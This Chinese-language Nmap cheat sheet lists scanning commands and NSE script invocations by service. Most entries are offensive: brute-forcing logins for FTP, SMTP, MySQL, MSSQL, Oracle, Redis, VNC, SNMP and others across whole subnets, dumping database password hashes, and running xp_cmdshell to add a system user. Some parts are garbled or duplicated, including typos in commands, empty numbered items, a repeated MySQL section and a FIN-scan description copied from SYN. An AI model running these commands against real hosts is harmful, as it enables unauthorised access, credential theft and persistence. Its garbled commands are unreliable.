应用安全 - 工具使用 - Nmap
指定IP扫描
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG result.txt -iL ip.txt
TCP端口扫描类型
TCP connect扫描 三次握手完成/全连接/速度慢/易被检测到 TCP SYN扫描 半开扫描/发送SYN包启动TCP会话 TCP FIN扫描 半开扫描/发送SYN包启动TCP会话 TCP XMAS扫描 半开扫描/发送PSH、FIN、URG、TCP标志位为1的数据包
参数
1 半开扫描 -sS 2 操作系统版本探测 -sV 3 操作系统信息探测 -O 4 操作系统指纹和版本探测 -A 5 详细输出扫描情况 -V 6 指定端口 -p
全端口扫描
nmap -sS -p 1-65535 -v xx.xx.183.79
常见漏洞盲扫 - XSS | CSRF
nmap --script vuln ip/domain
端口服务详细探测(可看到包数据)
nmap -sV --script unusual-port domain/ip
C段扫描
nmap -sP 192.168.1.0/24 #相当于ping
根据域名批量端口探测/爆破(975.txt为域名集合)
1 nmap -iL 975.txt --script=auth,vuln,ftp-brute,imap-brute,smtp-brute,pop3-brute,mongodb-brute,redis-brute,ms-sql-brute,rlogin-brute,rsync-brute,mysql-brute,pgsql-brute,oracle-sid-brute,oracle-brute,rtsp-url-brute,snmp-brute,svn-brute,telnet-brute,vnc-brute,xmpp-brute > scan.txt
对某一个IP进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.130 对某一个IP段进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.1-254 使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息 map -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 检查root空口令 nmap --script mysql-empty-password 192.168.195.130
查找蠕虫病毒
1 nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254
旁站查询
1 nmap -p80 --script hostmap-ip2hosts.nse 192.168.3.23
探测目标
1 svn nmap --script http-svn-info 192.168.3.0/24 2 http-wordpress-brute.nse nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24
扫描目标网站备份
1 nmap -p80 --script=http-backup-finder 192.168.3.0/24
内网嗅探
1 nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24
内网指定IP扫描
nmap -sT -Pn IP
配合shodan接口进行扫描
1 nmap --script shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'
服务
ftp
1 检查目标ftp是否允许匿名登录/检测目录是否可读写 nmap -p 21 --script ftp-anon.nse -v 192.168.3.23 2 ftp爆破脚本[默认只会尝试一些比较简单的弱口令 nmap -p 21 --script ftp-brute.nse -v 192.168.3.23 3 ProFTPD nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23 4 nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23 5 VSFTPD v2.3.4 # nmap -p21--script ftp-vsftpd-backdoor.nse -v192.168.3.23
ssh
1 sshv1中间人攻击 nmap -p 22 --script sshv1.nse -v 192.168.3.23
smtp
1 爆破 nmap -p 25 --script smtp-brute.nse -v 192.168.3.23 2 枚举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置 nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23 3 Exim 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出 "nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v 192.168.3.23 4 " 5 Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出 nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v 192.168.3.23 6 Exim dkim_exim_verify_finish() 存在格式字符串漏洞 nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v 192.168.3.23
pop
1 爆破 nmap -p 110 --script pop3-brute.nse -v 192.168.3.23
imap
1 爆破 nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23
dns
1 dns-zone-transfer nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23 2 nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v 192.168.3.23 3 telnet
爆破 nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24
smb
1 ms17-010 nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24 2 smb-vuln-ms08-067.nse smb-vuln-ms10-054.nse smb-vuln-ms10-061.nse
数据库
informix
1 爆破 nmap -p 9088 --script informix-brute.nse 192.168.3.23
mysql
1 root账号空口令 nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23 2 root弱口令简单爆破 nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23 3 mysql中所有用户的hash nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' 192.168.3.23 4 Mysql身份认证漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22] nmap -p 3306 --script mysql-vuln-cve2012-2122.nse -v 192.168.3.23 5 扫描C段mssql nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24 6 nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24 7 扫描IP段mssql sa空密码 nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24
mssql
1 sa弱口令爆破 nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24 2 mssql 远程执行系统命令 nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=net user test test add 192.168.3.0/24 3 导出mssql中所有的数据库用户及密码hash nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24
postgresql
1 爆破 nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24
oracle
1 爆破 nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL -v 192.168.3.0/24 2 nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24
mongdb
1 爆破 nmap -p 27017 --script mongodb-brute 192.168.3.0/24
redis
1 爆破 nmap -p 6379 --script redis-brute.nse 192.168.3.0/24
协议
snmp
1 爆破C段的snmp nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24
ldap
1 爆破 nmap -p 389 --script ldap-brute --script-args ldap.base='cn=users,dc=cqure,dc=net' 192.168.3.0/24
xmpp
1 爆破 nmap -p 5222 --script xmpp-brute.nse 192.168.3.0/24
pptp
1 识别目标pptp版本 nmap -p 1723 --script pptp-version.nse 192.168.3.0/24 2 中间件
iis
1 短文件扫描 nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24 2 iis 5.0 6.0 webadv写 nmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24 3 iis6.0远程代码执行 nmap -sV --script http-vuln-cve --script-args uri='anotheruri' 192.168.3.0/24 4 服务器漏洞
bash
1 http-shellshock.nse bash远程执行 nmap -sV -p- --script http-shellshock --script-args uri=cgi-binbin,cmd=ls 192.168.3.0/24 2 工具框架平台
rsync
1 爆破 nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24
rlogin
1 爆破 nmap -p 513 --script rlogin-brute 192.168.3.0/24
vnc
1 爆破 nmap --script vnc-brute -p 5900 192.168.3.0/24
pcanywhere
1 爆破 nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24
nessus
1 爆破 nmap --script nessus-brute -p 1241 192.168.3.0/24
Mysql
对某一个IP进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.130 对某一个IP段进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.1-254 使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息 map -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 检查root空口令 nmap --script mysql-empty-password 192.168.195.130
nexpose
1 爆破 nmap --script nexpose-brute -p 3780 192.168.3.0/24